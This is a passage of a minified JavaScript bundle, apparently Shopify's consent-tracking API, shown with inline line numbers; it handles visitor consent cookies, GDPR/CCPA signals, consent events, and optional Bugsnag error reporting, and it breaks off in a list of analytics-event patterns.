1! function() { 2 var e = { 3 3177: function(e, t) { 4 "use strict"; 5 6 function n(e, t) { 7 var n = Object.keys(e); 8 if (Object.getOwnPropertySymbols) { 9 var o = Object.getOwnPropertySymbols(e); 10 t && (o = o.filter((function(t) { 11 return Object.getOwnPropertyDescriptor(e, t).enumerable 12 }))), n.push.apply(n, o) 13 } 14 return n 15 } 16 17 function o(e, t, n) { 18 return t in e ? Object.defineProperty(e, t, { 19 value: n, 20 enumerable: !0, 21 configurable: !0, 22 writable: !0 23 }) : e[t] = n, e 24 } 25 Object.defineProperty(t, "__esModule", { 26 value: !0 27 }), t.defineProperty = o, t.objectSpread2 = function(e) { 28 for (var t = 1; t < arguments.length; t++) { 29 var r = null != arguments[t] ? arguments[t] : {}; 30 t % 2 ? n(Object(r), !0).forEach((function(t) { 31 o(e, t, r[t]) 32 })) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(r)) : n(Object(r)).forEach((function(t) { 33 Object.defineProperty(e, t, Object.getOwnPropertyDescriptor(r, t)) 34 })) 35 } 36 return e 37 } 38 }, 39 354: function(e, t) { 40 "use strict"; 41 Object.defineProperty(t, "__esModule", { 42 value: !0 43 }); 44 const n = "95ba910bcec4542ef2a0b64cd7ca666c"; 45 46 function o(e, t, n) { 47 try { 48 var o; 49 i({ 50 error: e, 51 context: t, 52 shopId: r() || (null === (o = window.Shopify) || void 0 === o ? void 0 : o.shop), 53 notes: n 54 }) 55 } catch (e) {} 56 } 57 58 function r() { 59 try { 60 const e = document.getElementById("shopify-features").textContent; 61 return JSON.parse(e).shopId 62 } catch (e) { 63 return null 64 } 65 } 66 67 function i(e) { 68 const t = new XMLHttpRequest; 69 t.open("POST", "https://notify.bugsnag.com/", !0), t.setRequestHeader("Content-Type", "application/json"), t.setRequestHeader("Bugsnag-Api-Key", n), t.setRequestHeader("Bugsnag-Payload-Version", "5"); 70 const o = function(e) { 71 const t = (n = e.error).stackTrace || n.stack || n.description || n.name; 72 var n; 73 const [o, r] = (t || "unknown error").split("\n")[0].split(":"); 74 return JSON.stringify({ 75 payloadVersion: 5, 76 notifier: { 77 name: "ConsentTrackingAPI", 78 version: "latest", 79 url: "-" 80 }, 81 events: [{ 82 exceptions: [{ 83 errorClass: (o || "").trim(), 84 message: (r || "").trim(), 85 stacktrace: [{ 86 file: "consent-tracking-api.js", 87 lineNumber: "1", 88 method: t 89 }], 90 type: "browserjs" 91 }], 92 context: e.context || "general", 93 app: { 94 id: "ConsentTrackingAPI", 95 version: "latest" 96 }, 97 metaData: { 98 request: { 99 shopId: e.shopId, 100 shopUrl: window.location.href 101 }, 102 device: { 103 userAgent: window.navigator.userAgent 104 }, 105 "Additional Notes": e.notes 106 }, 107 unhandled: !1 108 }] 109 }) 110 }(e); 111 t.send(o) 112 } 113 t.reportError = o, t.sendBugsnagXhr = i, t.withBugsnag = function(e) { 114 return (...t) => { 115 try { 116 return e(...t) 117 } catch (e) { 118 throw o(e), e 119 } 120 } 121 } 122 }, 123 3249: function(e, t, n) { 124 "use strict"; 125 Object.defineProperty(t, "__esModule", { 126 value: !0 127 }); 128 var o = n(5814); 129 t.updateTrackingConsent = function(e, t) { 130 const n = new XMLHttpRequest, 131 r = JSON.stringify(e); 132 n.open("POST", "/set_tracking_consent.json", !0), n.setRequestHeader("Content-Type", "application/json"), n.onreadystatechange = function() { 133 if (4 !== n.readyState) return; 134 const r = function(e) { 135 try { 136 return JSON.parse(e) 137 } catch (e) { 138 return { 139 error: "Unknown error" 140 } 141 } 142 }(n.responseText); 143 var i; 144 0 === (i = n.status) || 200 >= i && i < 400 ? (o.dispatchEvents(e), t(null, r)) : t(r) 145 }, n.send(r) 146 } 147 }, 148 7560: function(e, t, n) { 149 "use strict"; 150 Object.defineProperty(t, "__esModule", { 151 value: !0 152 }); 153 var o = n(6304), 154 r = n(1449); 155 const i = "_cmp_a", 156 a = "shopify-cmp-metadata"; 157 158 function s() { 159 return r.readCookie(i, a) 160 } 161 162 function c(e) { 163 const t = s(); 164 if (!t) return !0; 165 const n = t.purposes[e]; 166 return "boolean" != typeof n || n 167 } 168 t.CMP_ANSWERS_COOKIE_NAME = i, t.CMP_ANSWERS_TAG_NAME = a, t.analyticsProcessingAllowed = function() { 169 return c(o.DataProcessingPurpose.ANALYTICS) 170 }, t.marketingProcessingAllowed = function() { 171 return c(o.DataProcessingPurpose.MARKETING) 172 }, t.preferencesProcessingAllowed = function() { 173 return c(o.DataProcessingPurpose.PREFERENCES) 174 }, t.saleOfDataAllowed = function() { 175 return c(o.DataProcessingPurpose.SALE_OF_DATA) 176 }, t.saleOfDataRegion = function() { 177 const e = s(); 178 return e && e.sale_of_data_region || !1 179 }, t.shouldShowBanner = function() { 180 const e = s(); 181 return !!e && "boolean" == typeof e.display_banner && e.display_banner 182 } 183 }, 184 3142: function(e, t, n) { 185 "use strict"; 186 Object.defineProperty(t, "__esModule", { 187 value: !0 188 }); 189 var o = n(8920), 190 r = n(7560), 191 i = n(6304), 192 a = n(5841), 193 s = n(354); 194 195 function c() { 196 return o.haveMarketingConsent() 197 } 198 199 function u() { 200 return o.haveSaleOfDataConsent() 201 } 202 203 function d() { 204 const e = {}, 205 t = a.getCMPConsentValues(); 206 for (const n of Object.keys(t)) e[a.transformKeyToDisplayName(n)] = a.transformConsentToDisplaySchema(t[n]); 207 return e 208 } 209 210 function p(e, t) { 211 return "object" == typeof e && e.headlessStorefront && !e.storefrontAccessToken ? a.setHeadlessTrackingConsent(e, t) : o.setTrackingConsent(e, t) 212 } 213 t.analyticsProcessingAllowed = function() { 214 return o.haveAnalyticsConsent() 215 }, t.currentVisitorConsent = d, t.marketingAllowed = c, t.preferencesProcessingAllowed = function() { 216 return o.havePreferencesConsent() 217 }, t.saleOfDataAllowed = u, t.setTrackingConsent = p, t.shopifyConsentAPI = function(e = { 218 useBugsnagReporting: !1 219 }) { 220 return (({ 221 useBugsnagReporting: e 222 }) => { 223 a.getCCPAConsentValue() != i.ConsentValues.DECLINED && !1 === o.GPCSignal() && o.setCCPAConsent(!1, (() => !1)); 224 const t = { 225 getTrackingConsent: o.getTrackingConsent, 226 setTrackingConsent: p, 227 userCanBeTracked: o.userCanBeTracked, 228 getRegulation: o.getRegulation, 229 isRegulationEnforced: o.isRegulationEnforced, 230 getShopPrefs: o.getShopPrefs, 231 shouldShowGDPRBanner: o.shouldShowGDPRBanner, 232 userDataCanBeSold: o.userDataCanBeSold, 233 setCCPAConsent: o.setCCPAConsent, 234 getCCPAConsent: o.getCCPAConsent, 235 shouldShowCCPABanner: o.shouldShowCCPABanner, 236 doesMerchantSupportGranularConsent: o.doesMerchantSupportGranularConsent, 237 analyticsProcessingAllowed: r.analyticsProcessingAllowed, 238 preferencesProcessingAllowed: r.preferencesProcessingAllowed, 239 marketingAllowed: c, 240 firstPartyMarketingAllowed: c, 241 saleOfDataAllowed: u, 242 thirdPartyMarketingAllowed: u, 243 currentVisitorConsent: d, 244 shouldShowBanner: r.shouldShowBanner, 245 saleOfDataRegion: r.saleOfDataRegion, 246 getRegion: o.getRegion, 247 unstable: { 248 analyticsProcessingAllowed: r.analyticsProcessingAllowed, 249 preferencesProcessingAllowed: r.preferencesProcessingAllowed, 250 marketingAllowed: c, 251 saleOfDataAllowed: u, 252 currentVisitorConsent: d, 253 shouldShowBanner: r.shouldShowBanner, 254 saleOfDataRegion: r.saleOfDataRegion 255 } 256 }; 257 if (!e) return t; 258 const n = ["unstable"]; 259 for (const e in t) t.hasOwnProperty(e) && (t[e] = n.includes(e) ? t[e] : s.withBugsnag(t[e])); 260 return t 261 })(e) 262 } 263 }, 264 5841: function(e, t, n) { 265 "use strict"; 266 Object.defineProperty(t, "__esModule", { 267 value: !0 268 }); 269 var o = n(6304), 270 r = n(2488), 271 i = n(1449); 272 const a = "_tracking_consent"; 273 274 function c() { 275 try { 276 let e = function s() { 277 const e = i.readCookie(a); 278 if (void 0 !== e && ! function(e) { 279 if (e.v !== o.CookieVersion) return !0; 280 const t = Object.keys(e).filter((e =>
280 "region" !== e && "lim" !== e)); 281 return !r.areArraysEqual(t, o.CookieKeys) 282 }(e)) return e 283 }(); 284 if (!e) return; 285 return e 286 } catch (e) { 287 return 288 } 289 } 290 291 function u() { 292 return { 293 m: p(o.ConsentKeys.MARKETING), 294 a: p(o.ConsentKeys.ANALYTICS), 295 p: p(o.ConsentKeys.PREFERENCES), 296 s: p(o.ConsentKeys.SALE_OF_DATA) 297 } 298 } 299 300 function d(e = null) { 301 return null === e && (e = c()), void 0 === e 302 } 303 304 function p(e) { 305 const t = c(); 306 if (!t) return o.ConsentValues.NO_VALUE; 307 const n = t.con.CMP; 308 return n ? n[e] : o.ConsentValues.NO_VALUE 309 } 310 t.CONSENT_COOKIE_NAME = a, t.getCCPAConsentValue = function() { 311 return u()[o.ConsentKeys.SALE_OF_DATA] 312 }, t.getCMPConsentValues = u, t.getRegionValue = function() { 313 const e = c(); 314 return d(e) ? "" : e.region || "" 315 }, t.getRegulationValue = function() { 316 const e = c(); 317 return d(e) ? o.TrackingRegulations.NO_VALUE : e.reg 318 }, t.getSignal = p, t.readCookieAndTransform = c, t.setHeadlessTrackingConsent = function(e, t) { 319 function n(e, t = o.ConsentValues.NO_VALUE) { 320 return !0 === e ? o.ConsentValues.ACCEPTED : !1 === e ? o.ConsentValues.DECLINED : t 321 } 322 const r = { 323 [o.ConsentKeys.ANALYTICS]: n(e[o.ConsentDisplayKeys.ANALYTICS], o.ConsentValues.DECLINED), 324 [o.ConsentKeys.MARKETING]: n(e[o.ConsentDisplayKeys.MARKETING], o.ConsentValues.DECLINED), 325 [o.ConsentKeys.PREFERENCES]: n(e[o.ConsentDisplayKeys.PREFERENCES], o.ConsentValues.DECLINED), 326 [o.ConsentKeys.SALE_OF_DATA]: n(e[o.ConsentDisplayKeys.SALE_OF_DATA]) 327 }, 328 s = { 329 v: o.CookieVersion, 330 reg: o.TrackingRegulations.NO_VALUE, 331 con: { 332 CMP: r 333 } 334 }, 335 c = encodeURIComponent(JSON.stringify(s)); 336 i.writeCookie(a, e.rootDomain, 31536e6, c), t(null) 337 }, t.transformConsentToDisplaySchema = function(e) { 338 switch (e) { 339 case o.ConsentValues.ACCEPTED: 340 return o.DisplayConsentValues.ACCEPTED; 341 case o.ConsentValues.DECLINED: 342 return o.DisplayConsentValues.DECLINED; 343 default: 344 return o.DisplayConsentValues.NO_VALUE 345 } 346 }, t.transformKeyToDisplayName = function(e) { 347 switch (e) { 348 case o.ConsentKeys.ANALYTICS: 349 return o.ConsentDisplayKeys.ANALYTICS; 350 case o.ConsentKeys.MARKETING: 351 return o.ConsentDisplayKeys.MARKETING; 352 case o.ConsentKeys.PREFERENCES: 353 return o.ConsentDisplayKeys.PREFERENCES; 354 case o.ConsentKeys.SALE_OF_DATA: 355 return o.ConsentDisplayKeys.SALE_OF_DATA 356 } 357 }, t.validCookieDoesNotExist = d 358 }, 359 8920: function(e, t, n) { 360 "use strict"; 361 Object.defineProperty(t, "__esModule", { 362 value: !0 363 }); 364 var o = n(3177), 365 r = n(6304), 366 i = n(5841), 367 a = n(7560), 368 s = n(3249), 369 c = n(1998); 370 371 function u() { 372 if (i.validCookieDoesNotExist()) return r.DisplayConsentValues.NO_VALUE; 373 const e = i.getCMPConsentValues(); 374 return e[r.ConsentKeys.MARKETING] === r.ConsentValues.ACCEPTED && e[r.ConsentKeys.ANALYTICS] === r.ConsentValues.ACCEPTED ? r.DisplayConsentValues.ACCEPTED : e[r.ConsentKeys.MARKETING] === r.ConsentValues.DECLINED || e[r.ConsentKeys.ANALYTICS] === r.ConsentValues.DECLINED ? r.DisplayConsentValues.DECLINED : r.DisplayConsentValues.NO_INTERACTION 375 } 376 377 function d(e) { 378 return e ? l() ? document.referrer : "" : null 379 } 380 381 function p(e) { 382 return e ? l() ? window.location.pathname + window.location.search : "/" : null 383 } 384 385 function l() { 386 if ("" === document.referrer) return !0; 387 const e = document.createElement("a"); 388 return e.href = document.referrer, window.location.hostname != e.hostname 389 } 390 391 function f() { 392 return a.marketingProcessingAllowed() && a.analyticsProcessingAllowed() 393 } 394 395 function g() { 396 return a.saleOfDataRegion() ? "string" == typeof navigator.globalPrivacyControl ? "1" !== navigator.globalPrivacyControl : "boolean" == typeof navigator.globalPrivacyControl ? !navigator.globalPrivacyControl : null : null 397 } 398 399 function _() { 400 return !1 === g() ? r.DisplayConsentValues.DECLINED : (e = i.getCCPAConsentValue(), i.val
400idCookieDoesNotExist() ? r.DisplayConsentValues.NO_VALUE : e === r.ConsentValues.NO_VALUE ? r.DisplayConsentValues.NO_INTERACTION : i.transformConsentToDisplaySchema(e)); 401 var e 402 } 403 t.saleOfDataRegion = a.saleOfDataRegion, t.GPCSignal = g, t.doesMerchantSupportGranularConsent = function() { 404 return !0 405 }, t.getCCPAConsent = _, t.getLandingPageData = p, t.getRegion = function() { 406 return i.getRegionValue() 407 }, t.getRegulation = function() { 408 const e = i.getRegulationValue(); 409 return e in r.TrackingRegulations ? e : r.TrackingRegulations.NO_VALUE 410 }, t.getShopPrefs = function() { 411 return console.warn("getShopPrefs is deprecated and will be removed."), { 412 limit: [] 413 } 414 }, t.getTrackingConsent = u, t.hasConsentForGDPR = f, t.haveAnalyticsConsent = function() { 415 return a.analyticsProcessingAllowed() 416 }, t.haveMarketingConsent = function() { 417 return a.marketingProcessingAllowed() 418 }, t.havePreferencesConsent = function() { 419 return a.preferencesProcessingAllowed() 420 }, t.haveSaleOfDataConsent = function() { 421 return a.saleOfDataAllowed() 422 }, t.isBuyerOnFirstPageOfVisit = l, t.isRegulationEnforced = function() { 423 return console.warn("isRegulationEnforced is deprecated and will be removed."), !0 424 }, t.setCCPAConsent = function(e, t) { 425 if ("boolean" != typeof e) throw TypeError("setCCPAConsent must be called with a boolean consent value"); 426 if ("function" != typeof t) throw TypeError("setCCPAConsent must be called with a callback function"); 427 return s.updateTrackingConsent({ 428 ccpa_consent: e 429 }, t) 430 }, t.setTrackingConsent = function(e, t) { 431 if (i.validCookieDoesNotExist() && console.warn("Shop is not configured to block privacy regulation in online store settings."), function(e) { 432 if ("boolean" != typeof e && "object" != typeof e) throw TypeError("setTrackingConsent must be called with a boolean or object consent value"); 433 if ("object" == typeof e) { 434 const t = Object.keys(e); 435 if (0 === t.length) throw TypeError("The submitted consent object is empty."); 436 const n = [r.ConsentDisplayKeys.MARKETING, r.ConsentDisplayKeys.ANALYTICS, r.ConsentDisplayKeys.PREFERENCES, r.ConsentDisplayKeys.SALE_OF_DATA, r.ConsentDisplayKeys.EMAIL, r.HeadlessConsentMetadata.ROOT_DOMAIN, r.HeadlessConsentMetadata.CHECKOUT_ROOT_DOMAIN, r.HeadlessConsentMetadata.STOREFRONT_ROOT_DOMAIN, r.HeadlessConsentMetadata.STOREFRONT_ACCESS_TOKEN, r.HeadlessConsentMetadata.HEADLESS_STOREFRONT]; 437 for (const e of t) 438 if (!n.includes(e)) throw TypeError(`The submitted consent object should only contain the following keys: ${n.join(", ")}. Extraneous key: ${e}.`) 439 } 440 }(e), "function" != typeof t) throw TypeError("setTrackingConsent must be called with a callback function"); 441 if ("object" == typeof e) { 442 const n = d(e.analytics), 443 r = p(e.analytics); 444 return (e.storefrontAccessToken ? c.headlessUpdateTrackingConsent : s.updateTrackingConsent)(o.objectSpread2(o.objectSpread2({ 445 granular_consent: e 446 }, null !== n && { 447 referrer: n 448 }), null !== r && { 449 landing_page: r 450 }), t) 451 } { 452 const n = d(e), 453 r = p(e); 454 return s.updateTrackingConsent(o.objectSpread2
454(o.objectSpread2({ 455 consent: e 456 }, null !== n && { 457 referrer: n 458 }), null !== r && { 459 landing_page: r 460 }), t) 461 } 462 }, t.shouldShowCCPABanner = function() { 463 return console.warn("shouldShowCCPABanner is deprecated and will be removed."), a.saleOfDataRegion() && _() === r.DisplayConsentValues.NO_INTERACTION 464 }, t.shouldShowGDPRBanner = function() { 465 return a.shouldShowBanner() && u() === r.DisplayConsentValues.NO_INTERACTION 466 }, t.userCanBeTracked = function() { 467 return !!i.validCookieDoesNotExist() || f() 468 }, t.userDataCanBeSold = function() { 469 return console.warn("userDataCanBeSold is deprecated and will be replaced with saleOfDataAllowed."), a.saleOfDataAllowed() 470 } 471 }, 472 1449: function(e, t) { 473 "use strict"; 474 475 function n(e) { 476 return e === encodeURIComponent(decodeURIComponent(e)) 477 } 478 Object.defineProperty(t, "__esModule", { 479 value: !0 480 }), t.readCookie = function(e, t = null) { 481 return function(e) { 482 const t = document.cookie ? document.cookie.split("; ") : []; 483 for (let n = 0; n < t.length; n++) { 484 const [o, r] = t[n].split("="); 485 if (e === decodeURIComponent(o)) return JSON.parse(decodeURIComponent(r)) 486 } 487 }(e) || function(e, t) { 488 if (null === t) return; 489 let n, o, r = document.head.querySelector(`meta[name=${t}]`); 490 if (r instanceof HTMLMetaElement) { 491 n = r.content; 492 try { 493 const e = n.replace(/1/g, "true").replace(/0/g, "false").split(";").map((e => e.trim())).map((e => e.split("=").map((e => e.trim())))); 494 if (o = Object.fromEntries(e), o.purposes) { 495 const e = o.purposes.split(/(true|false)/).filter(Boolean), 496 t = {}; 497 for (let n = 0; n < e.length; n += 2) t[e[n]] = JSON.parse(e[n + 1]); 498 o.purposes = t 499 } 500 for (let [e, t] of Object.entries(o)) "true" === t && (o[e] = !0), "false" === t && (o[e] = !1) 501 } catch (e) { 502 return 503 } 504 return o 505 } 506 }(0, t) 507 }, t.resetCookieCache = function() {}, t.writeCookie = function(e, t, o, r) { 508 if (!n(r)) throw new TypeError("Cookie value is not correctly URI encoded."); 509 if (!n(e)) throw new TypeError("Cookie name is not correctly URI encoded."); 510 let i = `${e}=${r}`; 511 i += "; path=/", i += `; domain=${t}`, i += `; expires=${new Date((new Date).getTime()+o).toUTCString()}`, i += "; secure", document.cookie = i 512 } 513 }, 514 5814: function(e, t, n) { 515 "use strict"; 516 Object.defineProperty(t, "__esModule", { 517 value: !0 518 }); 519 var o = n(6304), 520 r = n(7560); 521 522 function i(e, t) { 523 document.dispatchEvent(new CustomEvent(e, { 524 detail: t || {} 525 })) 526 } 527 528 function a(e) { 529 const t = e[o.DataProcessingPurpose.MARKETING], 530 n = e[o.DataProcessingPurpose.SALE_OF_DATA], 531 r = e[o.DataProcessingPurpose.ANALYTICS], 532 a = e[o.DataProcessingPurpose.PREFERENCES]; 533 !0 === t ? i(o.TrackingEvents.MARKETING_ACCEPTED) : !1 === t && i(o.TrackingEvents.MARKETING_DECLINED), !0 === n ? i(o.TrackingEvents.SALE_OF_DATA_ACCEPTED) : !1 === n && i(o.TrackingEvents.SALE_OF_DATA_DECLINED), !0 === r ? i(o.TrackingEvents.ANALYTICS_ACCEPTED) : !1 === r && i(o.TrackingEvents.ANALYTICS_DECLINED), !0 === a ? i(o.TrackingEvents.PREFERENCES_ACCEPTED) : !1 === a && i(o.TrackingEvents.PREFERENCES_DECLINED); 534 const s = function(e) { 535 return { 536 marketingAllowed: e[o.DataProcessingPurpose.MARKETING], 537 saleOfDataAllowed: e[o.DataProcessingPurpose.SALE_OF_DATA], 538 analyticsAllowed: e[o.DataProcessingPurpose.ANALYTICS], 539 preferencesAllowed: e[o.DataProcessingPurpose.PREFERENCES], 540 firstPartyMarketingAllowed: e[o.DataProcessingPurpose.MARKETING], 541 thirdPartyMarketingAllowed: e[o.DataProcessingPurpose.SALE_OF_DATA] 542 } 543 }(e); 544 i(o.TrackingEvents.CONSENT_COLLECTED, s); 545 const c = [r, a, t, n]; 546 c.every((e => !0 === e)) && i(o.TrackingEvents.TRACKING_ACCEPTED), c.every((e => !1 === e)) && i(o.TrackingEvents.TRACKING_DECLINED) 547 } 548 t.dispatchEvents = function(e) { 549 void 0 !== e.consent ? a({ 550 [o.DataProcessingPurpose.PREFERENCES]: e.consent, 551 [o.DataProcessingPurpose.ANALYTICS]: e.consent, 552 [o.DataProcessingPurpose.MARKETING]: e.consent, 553 [o.DataProcessingPurpose.SALE_OF_DATA]: e.consent 554 }) : void 0 !== e.granular_consent && a({ 555 [o.DataProcessingPurpose.PREFERENCES]: r.preferencesProcessingAllowed(), 556 [o.DataProcessingPurpose.ANALYTICS]: r.analyticsProcessingAllowed(), 557 [o.DataProcessingPurpose.MARKETING]: r.marketingProcessingAllowed(), 558 [o.DataProcessingPurpose.SALE_OF_DATA]: r.saleOfDataAllowed() 559 }) 560 }
560, t.dispatchLoadedEvent = function() { 561 i(o.TrackingEvents.CONSENT_TRACKING_API_LOADED) 562 } 563 }, 564 1998: function(e, t, n) { 565 "use strict"; 566 Object.defineProperty(t, "__esModule", { 567 value: !0 568 }); 569 var o = n(5814), 570 r = n(1449), 571 i = n(5841), 572 a = n(7560); 573 574 function s(e) { 575 return { 576 query: `query { consentManagement { cookies(visitorConsent: ${JSON.stringify({marketing:e.marketing,analytics:e.analytics,preferences:e.preferences,saleOfData:e.sale_of_data}).replace(/"/g,"")}) { answersCookie trackingConsentCookie } } }`, 577 variables: {} 578 } 579 } 580 t.headlessUpdateTrackingConsent = function(e, t) { 581 const n = e.granular_consent, 582 c = { 583 headers: { 584 "content-type": "application/json", 585 "x-shopify-storefront-access-token": n.storefrontAccessToken 586 }, 587 body: JSON.stringify(s(n)), 588 method: "POST" 589 }; 590 fetch(`https://${n.checkoutRootDomain}/api/unstable/graphql.json`, c).then((e => { 591 if (e.ok) return e.json(); 592 throw new Error("Server error") 593 })).then((s => { 594 const c = 31536e6, 595 u = "." + (n.checkoutRootDomain || window.location.hostname), 596 d = "." + (n.storefrontRootDomain || window.location.hostname), 597 p = s.data.consentManagement.cookies.trackingConsentCookie, 598 l = s.data.consentManagement.cookies.answersCookie; 599 r.writeCookie(i.CONSENT_COOKIE_NAME, u, c, p), r.writeCookie(a.CMP_ANSWERS_COOKIE_NAME, u, c, l), d !== u && (r.writeCookie(i.CONSENT_COOKIE_NAME, d, c, p), r.writeCookie(a.CMP_ANSWERS_COOKIE_NAME, d, c, l)), o.dispatchEvents(e), t(null, s) 600 })).catch((e => { 601 t({ 602 error: "Error while setting headless consent: " + e.message 603 }) 604 })) 605 } 606 }, 607 5461: function(e, t, n) { 608 "use strict"; 609 Object.defineProperty(t, "__esModule", { 610 value: !0 611 }); 612 var o = n(6304), 613 r = n(8920), 614 i = n(5841), 615 a = n(7560), 616 s = n(1449), 617 c = n(5814), 618 u = n(3142); 619 Object.defineProperty(t, "ConsentKeys", { 620 enumerable: !0, 621 get: function() { 622 return o.ConsentKeys 623 } 624 }), Object.defineProperty(t, "ConsentValues", { 625 enumerable: !0, 626 get: function() { 627 return o.ConsentValues 628 } 629 }), Object.defineProperty(t, "DisplayConsentValues", { 630 enumerable: !0, 631 get: function() { 632 return o.DisplayConsentValues 633 } 634 }), Object.defineProperty(t, "TrackingEvents", { 635 enumerable: !0, 636 get: function() { 637 return o.TrackingEvents 638 } 639 }), Object.defineProperty(t, "TrackingRegulations", { 640 enumerable: !0, 641 get: function() { 642 return o.TrackingRegulations 643 } 644 }), t.getRegion = r.getRegion, t.getRegulation = r.getRegulation, t.getShopPrefs = r.getShopPrefs, t.getTrackingConsent = r.getTrackingConsent, t.userCanBeTracked = r.userCanBeTracked, t.userDataCanBeSold = r.userDataCanBeSold, t.getSignal = i.getSignal, t.shouldShowBanner = a.shouldShowBanner, t.resetCookieCache = s.resetCookieCache, t.dispatchLoadedEvent = c.dispatchLoadedEvent, t.anal
644yticsProcessingAllowed = u.analyticsProcessingAllowed, t.currentVisitorConsent = u.currentVisitorConsent, t.marketingAllowed = u.marketingAllowed, t.preferencesProcessingAllowed = u.preferencesProcessingAllowed, t.saleOfDataAllowed = u.saleOfDataAllowed, t.setTrackingConsent = u.setTrackingConsent, t.shopifyConsentAPI = u.shopifyConsentAPI 645 }, 646 6304: function(e, t) { 647 "use strict"; 648 var n, o, r, i, a, s, c, u; 649 Object.defineProperty(t, "__esModule", { 650 value: !0 651 }), t.TrackingEvents = void 0, (n = t.TrackingEvents || (t.TrackingEvents = {})).TRACKING_ACCEPTED = "trackingConsentAccepted", n.TRACKING_DECLINED = "trackingConsentDeclined", n.MARKETING_ACCEPTED = "firstPartyMarketingConsentAccepted", n.SALE_OF_DATA_ACCEPTED = "thirdPartyMarketingConsentAccepted", n.ANALYTICS_ACCEPTED = "analyticsConsentAccepted", n.PREFERENCES_ACCEPTED = "preferencesConsentAccepted", n.MARKETING_DECLINED = "firstPartyMarketingConsentDeclined", n.SALE_OF_DATA_DECLINED = "thirdPartyMarketingConsentDeclined", n.ANALYTICS_DECLINED = "analyticsConsentDeclined", n.PREFERENCES_DECLINED = "preferencesConsentDeclined", n.CONSENT_COLLECTED = "visitorConsentCollected", n.CONSENT_TRACKING_API_LOADED = "consentTrackingApiLoaded", t.DisplayConsentValues = void 0, (o = t.DisplayConsentValues || (t.DisplayConsentValues = {})).ACCEPTED = "yes", o.DECLINED = "no", o.NO_INTERACTION = "no_interaction", o.NO_VALUE = "", t.ConsentValues = void 0, (r = t.ConsentValues || (t.ConsentValues = {})).NO_VALUE = "", r.ACCEPTED = "1", r.DECLINED = "0", t.TrackingRegulations = void 0, (i = t.TrackingRegulations || (t.TrackingRegulations = {})).GDPR = "GDPR", i.CCPA = "CCPA", i.NO_VALUE = "", t.DataProcessingPurpose = void 0, (a = t.DataProcessingPurpose || (t.DataProcessingPurpose = {})).PREFERENCES = "p", a.ANALYTICS = "a", a.MARKETING = "m", a.SALE_OF_DATA = "t", t.ConsentKeys = void 0, (s = t.ConsentKeys || (t.ConsentKeys = {})).MARKETING = "m", s.ANALYTICS = "a", s.PREFERENCES = "p", s.SALE_OF_DATA = "s", t.ConsentDisplayKeys = void 0, (c = t.ConsentDisplayKeys || (t.ConsentDisplayKeys = {})).MARKETING = "marketing", c.ANALYTICS = "analytics", c.PREFERENCES = "preferences", c.SALE_OF_DATA = "sale_of_data", c.EMAIL = "email", t.HeadlessConsentMetadata = void 0, (u = t.HeadlessConsentMetadata || (t.HeadlessConsentMetadata = {})).HEADLESS_STOREFRONT = "headlessStorefront", u.ROOT_DOMAIN = "rootDomain", u.CHECKOUT_ROOT_DOMAIN = "checkoutRootDomain", u.STOREFRONT_ROOT_DOMAIN = "storefrontRootDomain", u.STOREFRONT_ACCESS_TOKEN = "storefrontAccessToken", t.CookieKeys = ["v", "con", "reg"], t.CookieVersion = "2.1" 652 }, 653 2488: function(e, t) { 654 "use strict"; 655 Object.defineProperty(t, "__esModule", { 656 value: !0 657 }), t.areArraysEqual = function(e, t) { 658 const n = t.slice().sort(); 659 return e.length === t.length && e.slice().sort().every(((e, t) => e === n[t])) 660 } 661 }, 662 1863: function(e, t, n) { 663 e.exports = n(5461) 664 }, 665 7385: function(e, t, n) { 666 "use strict"; 667 var o, r = this && this.__extends || (o = function(e, t) { 668 return o = Object.setPrototypeOf || { 669 __proto__: [] 670 } 671 instanceof Array && function(e, t) { 672 e.__proto__ = t 673 } || function(e, t) { 674 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 675 }, o(e, t) 676 }, function(e, t) { 677 function n() { 678 this.constructor = e 679 } 680 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 681 }); 682 Object.defineProperty(t, "__esModule", { 683 value: !0 684 }), t.EcommerceIntegration = t.PSEUDO_PAGE_EVENTS = t.CHECKOUT_ONE_PAGE_VIEW = t.CHECKOUT_PAYMENT_STEP_STARTED = t.CHECKOUT_SHIPPING_INFO_SUBMITTED = t.CHECKOUT_SHIPPING_STEP_STARTED = t.CHECKOUT_ADDRESS_INFO_SUBMITTED = t.CHECKOUT_CONTACT_INFO_SUBMITTED = t.CHECKOUT_CONTACT_STEP_STARTED = t.ANALYTICS_ADDED_PAYMENT = t.ANALYTICS_PERFORMED_SEARCH = t.ANALYTICS_STARTED_ORDER_ONCE_PER_CHECKOUT = t.ANALYTICS_STARTED_ORDER = t.ANALYTICS_COMPLETED_ORDER = t.ANALYTICS_ADDED_PRODUCT = t.ANALYTICS_VIEWED_PRODUCT_CATEGORY = t.ANALYTICS_VIEWED_PRODUCT = t.ANALYTICS_PAGE_VIEW = t.ANALYTICS_GENERIC_EVENT = t.analyticsEvents = void 0; 685 var i = n(997), 686 a = n(1102), 687 s = n(6851), 688 c = n(372), 689 u = n(1930); 690 t.analyticsEvents = { 691 viewedProduct: /^[ _]?viewed[ _]?product[ _]?$/i, 692 viewedProductCategory: /^[ _]?viewed[ _]?product[ _]?category[ _]?$/i, 693 viewedProductVariant: /^[ _]?viewed[ _]?product[ _]?variant[ _]?$/i, 694 addedProduct: /^[ _]?added[ _]?product[ _]?$/i, 695 completedOrder: /^[ _]?completed[ _]?order[ _]?$/i, 696 startedOrder: /^[ _]?started[ _]?order[ _]?$/i, 697 startedOrderOncePerCheckout: /^[ _]?started[ _]?order[ _]?once[ _]?per[ _]?checkout[ _]?$/i, 698 performedSearch: /^[ _]?performed[ _]?search[ _]?$/i, 699 addedPayment: /^[ _]?added[ _]?payment[ _]?$/i, 700 checkoutContactStepStarted: /^[ _]?checkout[ _]?[ _]?contact[ _]?step[ _]?started[ _]?$/i, 701 checkoutContactInfoSubmitted: /^[ _]?checkout[ _]?[ _]?contact[ _]?info[ _]?submitted[ _]?$/i, 702 checkoutAddressInfoSubmitted: /^[ _]?checkout[ _]?[ _]?address[ _]?info[ _]?submitted[ _]?$/i, 703 checkoutShippingStepStarted: /^[ _]?checkout[ _]?[ _]?shipping[ _]?step[ _]?started[ _]?$/i, 704 checkoutShippingInfoSubmitted: /^[ _]?checkout[ _]?[ _]?shipping[ _]?info[ _]?submitted[ _]?$/i, 705 checkoutPaymentStepStarted: /^[ _]?checkout[ _]?[ _]?payment[ _]?step[ _]?started[ _]?$/i, 706 